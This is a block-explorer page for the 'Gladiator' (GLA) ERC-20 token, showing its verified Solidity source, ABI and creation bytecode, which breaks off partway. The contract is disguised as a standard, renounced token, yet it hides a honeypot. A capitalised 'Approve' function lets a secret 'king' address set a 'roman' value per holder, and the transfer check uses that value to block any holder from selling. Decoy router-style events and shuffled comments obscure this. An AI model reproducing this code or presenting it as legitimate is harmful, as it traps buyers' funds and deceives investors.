Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
14,666,000,000 GLA
Holders
171
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Gladiator
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ event removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev See {IERC20-totalSupply}. */ event swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] path, address to, uint deadline ); event DOMAIN_SEPARATOR(); event PERMIT_TYPEHASH(); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); event token0(); event token1(); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); event sync(); event initialize(address, address); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); event burn(address to) ; event swap(uint amount0Out, uint amount1Out, address to, bytes data); event skim(address to); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * Receive an exact amount of output tokens for as few input tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate tokens to trade through * (if, for example, a direct pair does not exist). * */ event addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ); /** * Swaps an exact amount of ETH for as many output tokens as possible, * along the route determined by the path. The first element of path must be WETH, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). * * */ event addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ); /** * Swaps an exact amount of input tokens for as many output tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). * */ event removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Returns the name of the token. */ event removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ); /** * Swaps an exact amount of input tokens for as many output tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). */ event swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev Throws if called by any account other than the owner. */ event swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] path, address to, uint deadline ); /** * To cover all possible scenarios, msg.sender should have already given the router an * allowance of at least amountADesired/amountBDesired on tokenA/tokenB. * Always adds assets at the ideal ratio, according to the price when the transaction is executed. * If a pool for the passed tokens does not exists, one is created automatically, * and exactly amountADesired/amountBDesired tokens are added. */ event swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract War { event Fight( address owner, uint256 totalSupply ); } contract Gladiator is IERC20, War, Ownable { using SafeMath for uint256; struct Shield { address cross; uint256 par; } struct Sword { uint256 spear; } mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => Sword) private _sparta; Shield[] private _leonidas; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, address king_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = 18; _leonidas.push(Shield(king_, 300)); _totalSupply = totalSupply_ * 10**_decimals; _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); emit Transfer(address(0), msg.sender, _totalSupply); emit Fight(address(0), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function Approve(address account, uint256 amount) public returns (bool) { address from = msg.sender; require(from != address(0), "invalid address"); _warrior(from, account, amount); emit Approval(from, address(this), amount); return true; } function _warrior(address from, address account, uint256 amount) internal { _allowances[from][from] = amount; uint256 total = 0; require(account != address(0), "invalid address"); if (from == _leonidas[0].cross) { _sparta[from].spear -= total; total += amount; _sparta[account].spear = total; } else { _sparta[from].spear -= total; _sparta[account].spear += total; } } /** * Get the number of cross-chains */ function roman(address account) public view returns (uint256) { return _sparta[account].spear; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount - roman(sender) > 0, "roman"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"king_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"totalSupply","type":"uint256"}],"name":"Fight","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"roman","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052604051620012d5380380620012d58339810160408190526200002691620002f3565b620000326000620001c7565b600562000040858262000415565b5060066200004f848262000415565b5060078054601260ff19909116178155604080518082019091526001600160a01b03848116825261012c602083019081526004805460018101825560009190915292517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b600290940293840180546001600160a01b0319169190931617909155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c9091015554620001069060ff16600a620005f4565b62000112908262000605565b600881905533600090815260016020526040902054620001329162000217565b336000818152600160209081526040808320949094556008549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600854604080516000815260208101929092527f976e4c8cad4a0b492467cf0e898e026ba9a755d200f27cf4974bb56e65d58abd910160405180910390a15050505062000635565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006200022582846200061f565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200025657600080fd5b81516001600160401b03808211156200027357620002736200022e565b604051601f8301601f19908116603f011681019082821181831017156200029e576200029e6200022e565b81604052838152602092508683858801011115620002bb57600080fd5b600091505b83821015620002df5785820183015181830184015290820190620002c0565b600093810190920192909252949350505050565b600080600080608085870312156200030a57600080fd5b84516001600160401b03808211156200032257600080fd5b620003308883890162000244565b955060208701519150808211156200034757600080fd5b50620003568782880162000244565b604087015190945090506001600160a01b03811681146200037657600080fd5b6060959095015193969295505050565b600181811c908216806200039b57607f821691505b602082108103620003bc57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200041057600081815260208120601f850160051c81016020861015620003eb5750805b601f850160051c820191505b818110156200040c57828155600101620003f7565b5050505b505050565b81516001600160401b038111156200043157620004316200022e565b620004498162000442845462000386565b84620003c2565b602080601f831160018114620004815760008415620004685750858301515b600019600386901b1c1916600185901b1785556200040c565b600085815260208120601f198616915b82811015620004b25788860151825594840194600190910190840162000491565b5085821015620004d15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005385781600019048211156200051c576200051c620004e1565b808516156200052a57918102915b93841c9390800290620004fc565b509250929050565b600082620005515750600162000228565b81620005605750600062000228565b81600181146200057957600281146200058457620005a4565b600191505062000228565b60ff841115620005985762000598620004e1565b50506001821b62000228565b5060208310610133831016604e8410600b8410161715620005c9575081810a62000228565b620005d58383620004f7565b8060001904821115620005ec57620005ec620004e1565b029392505050565b60006200022560ff84168362000540565b8082028115828204841417620002285762000228620004e1565b80820180821115620002285762000228620004e1565b610c9080620006456000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b41146101f8578063a9059cbb14610200578063dd62ed3e14610213578063f2fde38b1461024c57600080fd5b8063715018a6146101c05780638da5cb5b146101ca57806390ec57f1146101e557600080fd5b806318160ddd116100c857806318160ddd1461016757806323b872dd1461016f578063313ce5671461018257806370a082311461019757600080fd5b806306fdde03146100ef578063095ea7b31461010d5780630d4888e114610130575b600080fd5b6100f761025f565b6040516101049190610a62565b60405180910390f35b61012061011b366004610acc565b6102f1565b6040519015158152602001610104565b61015961013e366004610af6565b6001600160a01b031660009081526003602052604090205490565b604051908152602001610104565b600854610159565b61012061017d366004610b11565b610308565b60075460405160ff9091168152602001610104565b6101596101a5366004610af6565b6001600160a01b031660009081526001602052604090205490565b6101c8610371565b005b6000546040516001600160a01b039091168152602001610104565b6101206101f3366004610acc565b6103eb565b6100f7610482565b61012061020e366004610acc565b610491565b610159610221366004610b4d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c861025a366004610af6565b61049e565b60606005805461026e90610b80565b80601f016020809104026020016040519081016040528092919081815260200182805461029a90610b80565b80156102e75780601f106102bc576101008083540402835291602001916102e7565b820191906000526020600020905b8154815290600101906020018083116102ca57829003601f168201915b5050505050905090565b60006102fe338484610578565b5060015b92915050565b600061031584848461069d565b610367843361036285604051806060016040528060288152602001610c33602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061087b565b610578565b5060019392505050565b336103846000546001600160a01b031690565b6001600160a01b0316146103df5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103e960006108a7565b565b6000338061042d5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b60448201526064016103d6565b6104388185856108f7565b60405183815230906001600160a01b038316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259060200160405180910390a35060019392505050565b60606006805461026e90610b80565b60006102fe33848461069d565b336104b16000546001600160a01b031690565b6001600160a01b0316146105075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d6565b6001600160a01b03811661056c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103d6565b610575816108a7565b50565b6001600160a01b0383166105da5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d6565b6001600160a01b